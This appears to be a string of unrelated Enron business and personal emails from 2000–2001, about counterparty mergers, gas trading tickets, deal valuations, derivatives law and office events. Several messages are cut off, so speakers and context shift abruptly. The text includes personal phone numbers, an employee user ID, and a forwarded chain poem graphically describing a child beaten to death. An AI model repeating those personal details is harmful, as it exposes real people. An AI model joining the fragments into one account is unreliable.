Shackleton/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Carol St Clair/HOU/ECT@ECT, 
Susan Bailey/HOU/ECT@ECT, Mary Cook/HOU/ECT@ECT, Samantha 
Boyd/NA/Enron@Enron, Robert Bruce/NA/Enron@Enron, Stephanie 
Panus/NA/Enron@Enron, Marilyn Colbert/HOU/ECT@ECT, Diane 
Ellstrom/HOU/ECT@ECT, Lynn E Shivers/LON/ECT@ECT, Bill D Hare/HOU/ECT@ect, 
Leslie Reeves/HOU/ECT@ECT, Jason Moore/HOU/ECT@ECT, Dianne Seib/CAL/ECT@ECT, 
Samuel Schott/HOU/ECT@ECT, Anthony Campos/HOU/ECT@ECT, Bernice 
Rodriguez/HOU/ECT@ECT, Mary G Gosnell/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, 
Karen Lambert/HOU/ECT@ECT, Frank L Davis/HOU/ECT@ECT, Carrie 
Southard/LON/ECT@ECT, Amber Ebow/HOU/ECT@ECT, Adnan Patel/Corp/Enron@ENRON, 
Melissa Ann Murphy/HOU/ECT@ECT, Stacey Richardson/HOU/ECT@ECT, Lisa 
Lees/HOU/ECT@ECT, Georgi Landau/NA/Enron@ENRON
cc: Jeffrey T Hodge/HOU/ECT@ECT, Jennifer Bagwell/NA/Enron@ENRON, Taffy 
Milligan/HOU/ECT@ECT 

We have received copies of a Certificate of Merger filed with the Delaware 
Secretary of State on 12/22/00, effective 12/31/00, wherein El Paso Merchant 
Energy-Gas, L.P. (Global Counterparty #72297), a Delaware limited 
partnership, merged with and into El Paso Merchant Energy, L.P. (Global 
Counterparty #53350), a Delaware limited partnership, with El Paso Merchant 
Energy, L.P. (Global Counterparty #53350) as the surviving corporation.

By virtue of this merger, the ISDA Master Agreement dated 12/01/99 should now 
reflect El Paso Merchant Energy, L.P. as the Counterparty.  In connection 
with this merger, Credit will be getting a new parent guaranty from the 
Counterparty.  Upon its receipt, copies will be distributed.

Copies of the Certificate of Merger will be distributed.

I hate it when I'm right, Kitna will be benched before week 2.  Garcia is 
still available, but I will need a starting RB - imight be able to swing 
another RB in the deal like Fred Beasley- Or you can start Ryan Leaf

Attached is the above referenced memo.

1400 Smith, Suite 3817

Attached is a table containing estimates of levelized rates for the Sun Devil project for several combinations of equity capitalization and capital recovery periods. Other assumptions underlying the rate calculations are also shown. If you have any questions or need any additional studies please advise.

Stevie, 
per J.Hodge NIMO ticket #1089776 s/b 1,774 instead of the 1,724 on the ticket.  So i reduced your volume(delivered to citygate) from 447 to 398 on
ticket  #1009016 for the 6th ONLY.
I did not change the tickets because i did not want to leave you out of balance, so please update Monday.

thanks
joann

FYI.  

Do not get overly excited about these number as things are moving 
significantly on the back end of the curve (i.e. be very conservative given 
MTM issues, credit reserves, etc.).  As we have indicated this deal is a 
company maker.  We thoroughly understand the PDVSA reserve issue and this is 
our number one priority to resolve.

Thanks again for taking the time to join us on our trip to Ven.  As we are in 
a critical stage of the deal, we will begin providing you a weekly progress 
report on the deal.

Regards,
Eric

---------------------- Forwarded by Eric Gonzales/LON/ECT on 03/02/2001 15:14 
   
	From:  Eric Groves                           30/01/2001 23:12
	
To: Guido Caranti/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Emilio 
Vicens/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Eric Gonzales/LON/ECT@ECT
cc:  

Subject: 20 YEAR SWAP MID IS NOW...

MID $4.73
   BID $4.13

MID VALUE OF 100% OF JOSE IS $928 MILLION.
BID VALUE OF 100% OF JOSE IS $272 MILLION. (assuming $.60 spread)

I AM WORKING WITH THE RAC GROUP OVER THE NEXT COUPLE OF DAYS TO IRON OUT SOME 
OF THE ISSUES RELATED TO ELBA MONTHLY LEASE COSTS, AND OTHER MODELING 
ISSUES.  I WILL LET YOU KNOW WHAT WE FIND.  THE RAC CONTACT IS STEINUNN.

Regards,

Eric

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(c)Copyright 2001 Vert Tech LLC. All rights reserved. All product names contained herein are the trademarks of their respective holders.

Can you map this the same as HPL Zone#9 - Freeport? 

Thanks,

Eric 3-0977

01/07/2000 10:59 AM
cc: Ami Chokshi/Corp/Enron@ENRON 
Subject: Blue Dolphin Pipe

Eric, Ami just booked two deals (#148251, #148253) on the BDOL pipe and since 
that pipe had never been used before we do not have that location mapped to 
any curves.  As a result those two deals have not bridged to CPR and will 
remain like this until you provide the necessary curve information listed 
below.  If you will need to create new curves and that will take a while, let 
me know if you want me to map this location to some existing curves in the 
meantime, so it will at least bridge to CPR.  Then, when you create your 
curves I can just re-map the location to the new curves.

There is currently only one zone on this pipe.

Pipe Code Zone Code   Notional  Mid Market  Gas Daily
BDOL  BDOL        ???          ???         ???

Please call me if you have any questions (x35423).

I didn't see this in the competitive analysis folder.  As always, it is good 
to know you are on top of it.

Thomas D Gros@ENRON
12/04/2000 06:04 PM
To: Mary Solmonson/HOU/ECT@ECT
cc: Sally Beck/HOU/ECT@ECT, James Whitehead/Corp/Enron@ENRON 
Subject: Re: WWW.EnergyClear.com  

These guys are using the technology we saw last week from OnExchange.  Amerex 
called me today to ask us to participate or (if we deemed it necessary) to 
take the lead in this project.  As always, James has the competitor info 
database on this stuff.  Please copy him on all material like this.

Tom

Mary Solmonson@ECT
12/04/2000 05:27 PM
To: Thomas D Gros/NA/Enron@Enron, Sally Beck/HOU/ECT@ECT
cc:  

Subject: WWW.EnergyClear.com

Sounds like this .com will be a direct competitor for FIX and maybe even 
FMM.   We need to watch for more details.

www.energyclear.com

As an Analyst or Associate working in Enron Global Markets, Enron Industrial 
Markets or Enron North America you are invited to attend our Holiday Party.  
Please click on the attached link to launch your invitation.

 http://invitation.enron.com

Please direct any questions to Dorie Hitchcock via email.

Shirley,

I have his cell phone: 650 814 9966.

Vince

03/13/2000 02:15 PM
cc:  
Subject: Current Address for Brad Romine

Vince:

Do you have a current address for Brad?

---------------------- Forwarded by Shirley Crenshaw/HOU/ECT on 03/13/2000 
02:14 PM ---------------------------

	Carol Coats
	03/13/2000 01:59 PM
	
cc:  

Shirley, is there any possibility that you might have an updated current 
address for Brad?  If not, would Vince know?  

Carol

Changes have been made. Please view the website at:
http://gspp.berkeley.edu/events/electricity_summit_conference.htm

Heather

At 07:54 PM 10/20/00 -0700, Lee Friedman wrote:
>This draft has some formatting improvements, but it does not yet incorporate
>some of the comments that we made earlier. Heather will make these as soon
>as possible and before the public release(e.g. I sent her specific changes
>to incorporate Severin's restructuring comments).
>
>Lee
>
>From: Heather Cameron [mailto:hcameron@uclink.berkeley.edu]
>Sent: Friday, October 20, 2000 5:31 PM
>To: Rob.Gramlich@neg.pge.com; lfried@uclink.berkeley.edu;
>borenste@haas.berkeley.edu; shapiro@haas.berkeley.edu;
>AMosher@appanet.org; whederman@columbiaenergygroup.com;
>jeff.dasovich@enron.com
>Subject: Electricity Summit website
>
>
>Dear Colleagues,
>
>The new draft website is at:
>http://gspp.berkeley.edu/events/electricity_summit_conference.htm.
>Have a good weekend. Talk to you on Monday.
>
>Best wishes,
>Heather

About the third time I read your email I understood it.  I kept reading Jaime 
as the English name Jamie (Jay-me).  I had no clue what you were talking 
about.  But don't worry I'm caught up now.  

And I thought I had bad eating habits...I've never had pepperoni pizza for 
breakfast.  I still have half of this king cake left, and I'm not  taking it 
home b/c I have another one there, so you need to come get some.  

I'd have a little fun with your friend before you tell him the truth...that 
you blew him off.  

R

02/20/2001 10:31 AM
cc:  

Jaime just sent me an email apologizing because he could not find me. He said 
that he asked everybody (friends you have not met). A couple of Nicaraguans, 
and  some other colombians.  Before Jaime, Hector and I moved out of Austin, 
I used to hang out with all these people. Harry does not particularly like 
them, but Ramiro was also part of this group.  Anyways, Jaime kept asking for 
Harry's phone number and nobody knew his phone number, so he thinks he stood 
me up. 

Hmmm, what should I say. Should I say I was waiting for his call all weekend 
long, or just tell him the truth?  

Yeahh I want to try your King cake.  I am not hungry at all though. OUr 
assistants kept getting creative every day and our breakfast was getting 
better and better. I am not sure what happened last time they ordered. They 
must have been stoned. We had Peperoni calzone for BREAKFAST!!!!!!!. The 
worst part is that I ate one. My stomach is a little upset.  Too much junk 
food in less than 24 hours. 

hi jon! let me know if you get this.  its on my new sky tel pager

Beth Jenkins

I will bid $6 for Cary Blanchare, K Arizona and $3 for Gary Anderson K Minn
PL

---------------------- Forwarded by George Hopley/HOU/ECT on 12/13/2000 12:28 

HGP Inc <hgpbus@home.com> on 12/13/2000 10:54:42 AM
To: Kevin.M.Presto@enron.com, George.Hopley@enron.com, 
Mark.Dana.Davis@enron.com, FSturm@enron.com, Rogers.Herndon@enrom.com
cc:  
Subject: Weekly Monitoring Report

Attached are the two files providing the Weekly Monitoring Report.  One
file includes the summary page and the other file has the detail for
each unit monitored.

The monitoring report for the eight Western units has been sent to Tim
Belden.

Dan
 - East Summary 001213.doc
 - East001213.doc

Attached hereto is the form of letter confirming our understanding of the Put 
Option's impact on the calculation of the OC Ratios for the ENA CLO.  Please 
review and provide me with any questions or comments at your earliest 
convenience.  The final form of the Put Agreement, including the Schedule and 
Confirmation will be circulated early tomorrow.  We hope to have all the 
necessary documentation finalized before the end of the week.

EB 3832

Mike,

Please, help him. Only publicly available data
(exchanges, etc.)

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 09/29/2000 
05:38 PM ---------------------------

<zkhokher@mail.utexas.edu> on 09/22/2000 07:14:37 PM
cc:  
Subject: Hi:

Hi Vince:
This Zeigham Khokher at the University of Texas at  Austin, Finance 
?
I need some publicly available data that  unfortunately is not available 
here.? It is basically the historical prices  for price of oil, gas and gold 
futures contracts and options.
?
Again the data is strictly public info and not  proprietary at all.? Let me 
know if there is a central data person at Enron  who would be able to help.? 
All help will be of course gratefully  acknowledged.
?
Hope all is well, I hear you will be giving a talk  at UT this fall?and look 
forward to seeing you then.
?
Regards
Zeigham
?
?

Jan-

Looks good.  I'll finalize with Renato when he gets back in town tomorrow.  
We'll email you then.

Thanks for all your help.

Susan

"Janis Pereira" <janisp@dialdata.com.br> on 04/17/2001 05:21:15 PM
cc:  
Subject: INFO ON FOZ

Hi Susan,
??? Went by the travel agent's  today to see what she found for your trip to 
Foz.? I'm still waiting on  some confirmed prices but a strong estimate would 
be between R$1,000 to R$1,300  and depending on the exchange it would be 
between US$500 and US$650 per  person.? The price includes airfare, hotel 2 
nights, complimentary  breakfast all mornings, transport from and to airport, 
english speaking guide  and driver (he also takes you to the Argentina side), 
tours on the Brazil and  Argentina sides, boat tour at the bottom of the 
falls, and a tour of the aviary  of tropical birds of Brazil.? There's also a 
helicopter tour you can take  but it's not included in the price.? This is 
with TAM airline.?  
??? We would stay in Rio Sunday,  Monday and then on Tuesday you and Renato 
would leave Rio around 11am and arrive  in Foz around 2:30 and get to the 
hotel around 3:30.? You would spend all  day Wednesday there and leave 
Thursday at 3:30 to arrive in SP at  5:00PM.
??? When she confirms the prices  I'll send you all the details.? Until then, 
let me know what you think of  this so far.
?
???  Jan

Just called...they're going to put it on our door tonight.  We just have to sign it and stick it in the night drop.

Sent:	Thursday, May 31, 2001 3:08 PM
Subject:	Apt. Lease

Hey,

Do you have time to call the apt and have them fax over the lease?

AP User:

Thank you.
SAP AP Team
 - 20020115-ENWE.XLS 

what we decided is that we are all bringing something and i provide the 
drinks.  i havent heard back from everyone yet but my gut instinct is that we 
will need at least one extra person.  it looks like everyone that was there 
last time is coming again and also kristi said she would be there, but that 
still leaves us short.  i hope the pool construction doesnt disrupt y'all too 
much.  the good thing is that my dad is overseeing it and he is being really 
hard on the guys, making sure they are as clean and quick as they can 
possibly be.  kim already said that jeffrey cant wait to come swimming.  
we'll have to get a water basketball goal - pat will love playing with all 
the kids.

I just saw the NYT article.  Nice job.  It's nicely positioned as an issue 
about India's resolve to encourage foreign investment and live up to 

To all:

Legale posted a HotTap Bulletin notice to let the shippers know that the old Scheduled Quantities by Location and Path report is now available again.  Could you let the teams know?  Thx, Jim

I spoke with Gavin Gaul just now about the GA drawings for the 99 peakers.  
He said that he would have to do some poking around, because those drawings 
would have been archived a year ago.  But he thought he could get me the 
as-built site layout drawings for the plants.  The version of the Brownsville 
layout from the CD-ROM is not as-built, so maybe we should hold off on the 
layouts until we get the as-builts from Gavin.  I'll let you know as soon as 
I hear back from him.

David-

Thank you for passing the Australian GTC's on to us.  As to B&M's position on 
the gambling issue, they are not prepared to provide us with a clean opinion, 
however they will specify how we might minimize the associated risks, which 
appear to be minimal.  I expect to receive their formal advice today and 
will  forward same upon receipt.

The Enron company that is specified on the Passwords Applications and ETAs 
that are being sent out is presently ENA.  

Cheers,

John

	07/06/2000 12:35 AM
		
		 To: John Viverito/Corp/Enron@ENRON
		 cc: Jonathan Whitehead/AP/Enron@Enron, Nicholas.O'Day@enron.com@ENRON, Susan 
Musch/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Justin 
Timothy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Raymond 
Yeow/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mark Taylor@ECT
		 Subject: Re: EOL GTC's for Weather Derivatives In Australia

John please see attached GTCs for Australian weather. They are essentially 
the same as the example that was forwarded to B&M when they got the brief to 
advise on weather derivatives last month. 

I understand that B & M are having second thoughts on the gambling question 
and are due to come in with an advice on the point. 

There is also a question as to whether the Enron party will be Enron 
Australia Finance Pty. Ltd. or Enron Japan KK. From a tax perspective Susan 
what would you prefer? 

On a related issue what Enron company is on the Passwords Applications and 
ETAs that are being sent out? Although from a legal perspective it does not 
matter it may increase acceptance if it were Enron Japan KK.

From: John Viverito@ENRON on 05-07-2000 05:19 CDT
cc: Jonathan Whitehead/AP/Enron@Enron, Nicholas.O'Day@enron.com 

Subject: EOL GTC's for Weather Derivatives In Australia

David-

Please forward an electronic copy of the EOL GTC's for weather derivatives in 
Australia.  Thanks for your assistance.

Cheers,

John

Barbara, I have advised our Washington office that Mr. Lay will be on this 
conference call at 3:30.  Just let us know the number for him to call.  Thank 
you.
Dorothy

"Sain, Barbara" <Barbara.Sain@COMPAQ.com> on 02/16/2000 02:36:28 PM
To: Ben Rosen <ben@brosen.com>, Frank Doyle <Doyle331@AOL.com>, George 
Heilmeier <ghh@telcordia.com>, Judy Craven <lynnj@iname.com>, Ken Lay 
<klay@enron.com>, Ken Roman <kenroman@worldnet.att.net>, Larry Babbio 
<babbio@bellatlantic.com>, Lucie Salhany <lucie@jhmedia.com>, Peter Larson 
<hkiss@bruncorp.com>, Ted Enloe <ted.enloe@email.msn.com>, Tom Perkins 
<kjewett@kpcb.com>
cc:  
Subject: Telephone Board Meeting

We need to schedule a telephonic Board meeting the afternoon of February 24.
The discussion will be the appointment of independent accountants and the
meeting should not take longer than 30 minutes.  Please send me your
available times for the afternoon of 2/24 (1:00 to 5:00 CST).

Barbara Sain
Law Department
(p) 281-514-6021
(f) 281-518-6807
 
I have a proposed restructuring transaction with City of Mesa, Arizona.  It 
works like this:

1) Half their volume is currently priced at 3.74 (fixed, physical deal with 
us)
2) That deal runs through July 01
3) I want to reprice that deal at a higher price and use that equity to 
finance a discount to index for an extra six months.
4) They will do one of two transactions (shown below) one extends half the 
volume one extends the full volume.

I need help with a couple of things:

1) Since they canceled their Enfolio Agmt. can I get a contract from legal 
that will allow us to transact without it.
2) How do we get this deal in Mike's book and the risk system

Thanks,

Dave Fuller
503-464-3732

---------------------- Forwarded by Maria Sandoval/HOU/ECT on 11/21/2000 
07:40 AM ---------------------------
   
	From:  Chantelle Villanueva                           11/20/2000 05:13 PM
	
To: Elizabeth Soto/HOU/ECT@ECT, Maria Sandoval/HOU/ECT@ECT, Irena D 
Hogan/HOU/ECT@ECT, Kim Perez/ET&S/Enron@ENRON, Kimberly Vaughn/HOU/ECT@ECT, 
Aimee Lannou/HOU/ECT@ECT, Alisha Guerrero/HOU/ECT@ECT, Brenda 
Barreda/HOU/EES@EES, Pamela Sonnier/HOU/ECT@ECT, Melissa 
Rodriguez/HOU/ECT@ECT, CassandraH@TEXASENT.COM, Michelle 
Vitrella/HOU/ECT@ECT, Heather Choate/HOU/ECT, Melissa Jones/NA/Enron@ENRON
cc:  
Subject: GET A TISSUE READY

This one REALLY makes you cry!!!!!!!
11/20/2000 05:12 PM ---------------------------
Aimee Lannou   11/20/2000 04:57 PM

To: JennMeador@HOTMAIL.COM, abayliss@mccoyinc.com, Chantelle 
Villarreal/HOU/ECT@ECT
cc:  

>
>  > > Dear God...read this!
>  > >
>  > >
> * >                       >>>>> > >>Misty"
> * >                       >>>>> > >> My name is Misty
> * >                       >>>>> > >> I am but three,
> * >                       >>>>> > >> My eyes are swollen
> * >                       >>>>> > >> I cannot see,
> * >                       >>>>> > >> I must be stupid
> * >                       >>>>> > >> I must be bad,
> * >                       >>>>> > >> What else could have
> * >                       >>>>> > >> Made my daddy so mad?
> * >                       >>>>> > >> I wish I were better
> * >                       >>>>> > >> I wish I weren't ugly,
> * >                       >>>>> > >> Then maybe my mommy
> * >                       >>>>> > >> Would still want to hug me.
> * >                       >>>>> > >> I can't speak at all
> * >                       >>>>> > >> I can't do a wrong
> * >                       >>>>> > >> Or else I'm locked up
> * >                       >>>>> > >> All the day long.
> * >                       >>>>> > >> When I awake
> * >                       >>>>> > >> I'm all alone
> * >                       >>>>> > >> The house is dark
> * >                       >>>>> > >> My folks arent home
> * >                       >>>>> > >> When my mommy does come
> * >                       >>>>> > >> I'll try and be nice,
> * >                       >>>>> > >> So maybe I'll get just
> * >                       >>>>> > >> One whipping tonight.
> * >                       >>>>> > >> Don't make a sound!
> * >                       >>>>> > >> I just heard a car
> * >                       >>>>> > >> My daddy is back
> * >                       >>>>> > >> From Charlie's Bar.
> * >                       >>>>> > >> I hear him curse
> * >                       >>>>> > >> My name he calls
> * >                       >>>>> > >> I press myself
> * >                       >>>>> > >> Against the wall
> * >                       >>>>> > >> I try and hide
> * >                       >>>>> > >> From his evil eyes
> * >                       >>>>> > >> I'm so afraid now
> * >                       >>>>> > >> I'm starting to cry
> * >                       >>>>> > >> He finds me weeping
> * >                       >>>>> > >> He shouts ugly words,
> * >                       >>>>> > >> He says its my fault
> * >                       >>>>> > >> That he suffers at work.
> * >                       >>>>> > >> He slaps me and hits me
> * >                       >>>>> > >> And yells at me more,
> * >                       >>>>> > >> I finally get free And
> * >                       >>>>> > >> I run for the door.
> * >                       >>>>> > >> He's already locked it
> * >                       >>>>> > >> And I start to bawl,
> * >                       >>>>> > >> He takes me and throws me
> * >                       >>>>> > >> Against the hard wall.
> * >                       >>>>> > >> I fall to the floor
> * >                       >>>>> > >> With my bones nearly broken,
> * >                       >>>>> > >> And my daddy continues
> * >                       >>>>> > >> With more bad words spoken.
> * >                       >>>>> > >> "I'm sorry!", I scream
> * >                       >>>>> > >> But its now much too late
> * >                       >>>>> > >> His face has been twisted
> * >                       >>>>> > >> Into unimaginable hate
> * >                       >>>>> > >> The hurt and the pain
> * >                       >>>>> > >> Again and again
> * >                       >>>>> > >> Oh please God, have mercy!
> * >                       >>>>> > >> Oh please let it end!
> * >                       >>>>> > >> And he finally stops
> * >                       >>>>> > >> And heads for the door,
> * >                       >>>>> > >> While I lay there motionless
> * >                       >>>>> > >> Sprawled on the floor
> * >                       >>>>> > >> And I am but three,
> * >                       >>>>> > >> Tonight my daddy
> * >                       >>>>> > >> Murdered me.
> * >                       >>>>> > >> There are thousands of kids out
> there
> * > > just like
> * > >       >>>>> >Misty.
> * >                       >>>>> > >>And you can help. And please pass
> this
> * > > poem on because as crazy as
> * > >
> * > > >>>>>it
> * >                       >>>>> > >>might sound, it might just
> indirectly
> * > > change a life. 

Andrew, Gerald

Attached is the meeting notes from a 1 hour meeting we had with Cantera
Resources and Tom Brown on April 24.  We will be meeting with them again on
Monday, May 7 in Dallas.  This meeting will involve the president and
operations manager of Cantera as well.  While the last meeting was more of
introductions and high level "where we are"  and "what are the issues"
discusssion, this meeting will be more definitive where we plan to discuss
the pressure and curtailment issues in more detail, and we will be
discussing moving the Entrada from San Arroyo to our plant.  I am sure they
will also want to discuss some sort of agreement for us to move foreward
together on the low-Btu project.   Tom Brown representatives will be
involved via phone - as they must until the deal closes.  We told Cantera it
may be a very short meeting as there are certain things we won't talk about
in front of Tom Brown.

In our meeting on Monday - which will start at noon with lunch, I want to be
able to show them a couple of things.  I want to show them Graphs 2-2.1-A
and 2-2.1-B and Figure 2-2.2 out of section 3 of the Contract Issues book I
gave you.  I want to also show them Graphs 3-2.1-A and 3-2.1-B and Figures
3-1 out of section 4 of the book.   I was not planning on discussing the
monitary value associated with these graphs (the sum of these issues totals
just under $1MM economic harm to Crescendo as I calculated from June through
December 2000.)

Andrew, I will call you in the morning to discuss in more detail what we
should and should not show them or discuss concerning the issues.  I will be
on my cell phone at 915-349-8223 all morning.

Thanks,

Ken Krisa

 - meeting notes 4-24-01 Cantera.doc

Lawrence J May,
 
As requested, below is your user ID to access the Performance Management System:
 
90040978

Welcome Back!  Please disable your Out of Office Agent.  To disable the 
agent, Open your Out of Office profile and select the 'Disable' button.
While you were out, the 'Out of Office' agent notified the following people 
of your absence.
"Travelocity.com"
Public Relations
Lisa Lees
Tom Moran
"Patti Young"
Adnan Patel
Matthew Dawson

The Wellness Department has scheduled a blood drive on Thursday, March 14, from 10 a.m. to 3 p.m.  An M.D. Anderson Blood Center mobile coach will be parked on Andrews Street in front of Enron Center North to accommodate donors.  Call the the Health Center at ext. 3-6100 or send an email to mailto:health.center@enron.com to schedule an appointment.  If you need additional information, visit http://hrweb.enron.com/wellness/healthService/bloodDrive.asp.  

Mark,

The scrutiny that is now falling on online trading platforms means that we 
need to stay ahead on this issue here on the Hill. I am concerned that 
Congress will uncover a significant regulatory gap between FERC jurisdiction 
and CFTC jurisdiction over online OTC activities.  Unfortunately, I am 
lacking in my knowledge of regulatory structures for our energy products, but 
I am confident that I know more than our lobbyists (they still don't know the 
difference between an exchange and Enron Online).  Our lobbyists are eager to 
deflect this scrutiny, but it is not clear they know what they are deflecting.

Is there a way to compare and contrast the differences in various forms of 
regulation of the CFTC and the FERC so we coan identify the "gap" (if it 
exists at all) and how Congress may attempt to fill the gap.  Are there 
lessons to be learned from other OTC products and exchange traded products 
(securities, banking, commodities)?  For example, does the FERC have 
jurisdiction to require licenced power marketers to deal only with 
counterparties that retain certian credit quality, or maintain certain 
reserves to back traded positions, increase reporting of trading activities?  
As you can tell I know enough to get myself in trouble.

call me so we can talk furt.her

If your do not see our email in 15 seconds, please go to http://www.enerfax.com to today's gas & power prices & news. 
If your email does not support this web version, please subscribe to the free text version by writing subscribe@enerfax.com <mailto:subscribe@enerfax.com> Please visit our website to view today's gas and power prices and news by clicking <http://www.enerfax.com>
 
Delete fermis@ect.enron.com by forwarding to web@enerfax.com 

Please add these dates and times to your calendars.....
Wed. Dec. 6th 49c4                             Noon - 2:00
Thurs. Dec. 7th 50 M Dining Room         11:30 - 1:30
Fri. Dec. 8th 50 Floor Board Room     11:30 - 1:30

Carolyn and Dwight Dawson of the Teamleadership Center are hosting 3 Team 
Building sessions for everyone in Information & Records Management.  Lunch 
will be provided each day.

The surveys we handed out to some of you are for those who missed our first 
session with Dwight earlier this year.   Please have them back to me Friday 
morning.   Thanks everyone!

Sandy x3-6766
PS - please pass the word to anyone not working on a PC ---Thanks

Sara, 

The only change he has made is to the address for notices and payment account 
information for Con Ed.

	04/24/2001 10:01 AM
		 
		 To: Stephanie Panus/NA/Enron@Enron
		 cc: 
		 Subject: FW: enron amendment to february confirm

Let me know what you think about the ConEd comments.

----- Forwarded by Sara Shackleton/HOU/ECT on 04/24/2001 10:00 AM -----

	"Forte, Michael" <FORTEM@coned.com>
	04/24/2001 08:55 AM
		 
		 To: "Brown, Michael A" <BROWNMIC@coned.com>, "'Sara.Shackleton@enron.com'" 
		 cc: "Dooley, Sylvia V." <DOOLEYS@coned.com>

   For your review, regarding an Amendment to our February confirm.

Thank you and have a great day!
Michael

> From:  Dooley, Sylvia V.
> Sent: Tuesday, April 24, 2001 9:36 AM
> To: Forte, Michael
> Cc: Cray, Brian E.; Irwin, Peter
> Subject: enron amendment to february confirm
>
> attached is a redlined version of the enron amendment reflecting the
> changes i was discussing yesterday.  please verify that the info is
> correct and forward to enron for review.  in addition, if enron's banking
> information is incorrect in the february confirm, any corrections to that
> information should be included in this amendment. <<012amd (con ed).doc>>

 - 012amd (con ed).doc

B2B = business to business, usually referring to on-line (Internet-based) electronic commerce (e-commerce).  

B2C = business -to-consumer

C2C = consumer-to-consumer

I have attached the list in Word format.  I'll call you later this afternoon - as soon as I talk to Ned.  Thanks.
                                                                                                                                                                                                                                                                                                                                                                                                                                                           
After I wrote this I recall Ed saying that we don't have a New York company 
yet.

I'm fairly comfortable that I don't know  whether there really is an 
Edgecombe Development Company, and if so, is it available to use on the 
Virginia Power transaction.

Sorry for the memory slip.  

Kay

	From:  Kay Mann                           08/01/2000 11:31 AM
	
To: Ed B Hearn III/HOU/ECT@ECT, Matt Maxwell/Corp/Enron@ENRON
cc:  

Subject: Re: Land option New York  

I don't recall  the answer was to the question about whether we have a land 
company in New York?  And if so, its name?

Thanks,

Kay

From: Ed B Hearn III@ECT on 08/01/2000 11:15 AM
cc:  

OK.  We'll standby until you give us additional instructions.

Start Date: 4/19/01; HourAhead hour: 12;  No ancillary schedules awarded.  

Schedules\2001041912.txt

     Details: (Hour: 12 / Preferred:  16.00 / Final:  15.97)
  TRANS_DATE: 4/19/01
     Details:

  INTERCHG_ID: EPMI_CISO_ZEBRA

Anne, it looks like the socal position for socal is incorrect.  The position 
looks much smaller than it did today.  Please check to see if Patti made 
changes to deals in sitara.

Gracias,

Great!  If it was just a desk change, I can take care of that very easily!

Thanks!

   Kate Symes                02/09/2001 12:28 PM

cc:  
Subject: Re: changes  

508957 - changed offset from -1.5 to -1 on 2/6 per Stephanie Piwetz (verbal 
Mirant checkout)

All the rest of the deals I entered for Mike Swerzbin yesterday in my deal 
blotter, which defaults to Short Term California. I noticed immediately after 
saving the deals that they were under the wrong desk, and changed them to 
Long Term Northwest in deal entry. Are there other problems with the deals? 
The only change should be the desk. Please let me know.

Thanks,
Kate 

	From:  Sharen Cason                           02/09/2001 07:53 AM
	
cc:  

Subject: changes

It looks like you made quite a few changes to some deals and I don't see 
anything in the comment section.  Can you just take a quick look and see if 
you know what you changed on any of these.  If not, I can look it up in the 
audit viewer, but it makes things go a lot quicker if we don't have to go 
into the audit viewer for each deal.

Thanks!

#508957
#517889
#517881
#517880
#517878
#517875
#517874

Gary,

Below is some information that might be of assistance to you.  I don't think 
that I sent this to you when I got it.  If I did please ignore this.  D'Arcy 
Carroll (works for us in S. America) came to us from Cargill and knows a lot 
of people there.  He has a couple of names that I have passed on internally 
for consideration but I am sure they didn't go to the right place.  On a 
recent trip to Sao Paulo, many of the ag products came up in meetings as good 
opportunities for Enron to go in and change that industry.  Coffee, Orange 
Juice, grains and sugar were brought up a lot.

D'Arcy may have traded an ag book for Cargill, I can't remember.

Anyway, I am passing this message and names on to you for consideration.  A 
phone call to D'Arcy might also be worth a few minutes of your time.  He 
knows a lot about Cargill and has an opinion on how to capture their markets.

Mike
---------------------- Forwarded by Mike McConnell/HOU/ECT on 07/12/2000 
11:32 AM ---------------------------

06/09/2000 02:30 PM
cc: Steve Nagy/SA/Enron@Enron, Joe Kishkill/SA/Enron@Enron 
Subject: 

Mike,  please find attatched 2 resumes, as mentioned. 

1. Rob Tesar.  Position: Enron Networks, Agricultural Markets.  Rob Tesar is 
American and has worked for 15 years at Cargill, the first 10 or so inside 
the  grains businesses where he managed the central hedging desk out of 
headquarters.   He is a class act; if he has any weakness it would be a 
tendency to  be too cautious.   He is significantly underutilized in his 
present position.

2. Detlev Hartman.  Position: open.  Detlev is German and was my boss at DG 
BANK in Frankfurt, in the early stages of the development of the finanical  
derivatives markets in Germany in the late 80's.  His professional background 
is diverse with a pretty consistent emphasis on finance.   Detlev is one of 
the  brightest, intuitive minds I've ever worked with; he could contribute in 
the MG initiative or in any number of trading, risk management oversight 
positions.   Somewhat volatile personality, but exciting to work with.

Daudi Lelijveld.  Position: Enron Networks, MG or logistics.  Daudi is a 
dutchman with a broad background; he has run Cargill's UK metals business for 
the last 5 years, or so.  He is putting his resume together and I'll forward. 

Paul Lichter and Mike Walden.  Position: IT - I have forwarded information to 
Jahn Pavetto.  

I received the gift yesterday.  It will look lovely with my leather coat at 
the theater-thanks

Jeff,

do you have a copy of the contract that we have with EARMS that Chris Foster was working on with Citizens earlier in the summer?  Let me know if you have any questions.  I need a copy in order to assist with getting EARMS paid.

thanks,

Kim

From: 	Foster, Chris H.  
Sent:	Tuesday, October 30, 2001 8:33 AM

I checked my file and I do not have one.  Check with Jeff Hodge.  I am pretty sure he has one.

C

Sent:	Monday, October 29, 2001 8:41 AM
Subject:	

Chris,

Can you send or fax me a copy of the contract between us/Citizens and EARMS?  I don't have a copy and i need one in order to get these invoices processed.

thanks,

Kim

Ben,

Attached are GT's views/scenarios regarding the Deerfield / Coconut Creek law suit.  Bottom line - total estimated max cost ~$150k should a trial not be required and upwards to ~$250k+ should a full blown trial occur.

GT expects to have a timeline later in the week for the various scenarios.

Deerfield is planning to submit the motion to dismiss tomorrow, which is the 20 day deadline.  The dismissal hearing is tentatively planned for August 14th.  Deerfield wants Enron to intervene as soon as possible so as to be in a position to participate in the dismissal hearing.

Upon Enron's request to intervene, the judge typically requires 5 business days to set the intervention hearing.  Working backwards, assuming the dismissal hearing is scheduled for the 14th, the intervention hearing should take place on the 13th at the latest, which will require an intervention request be filed no later than Monday the 6th.

GT is awaiting approval to proceed, and if possibly, would like to file the motion to intervene on Friday.

Lets talk tomorrow - I'll get Lorie to schedule a time.  

Steve 

From: 	MedleyB@gtlaw.com@ENRON [mailto:IMCEANOTES-MedleyB+40gtlaw+2Ecom+40ENRON@ENRON.com] 
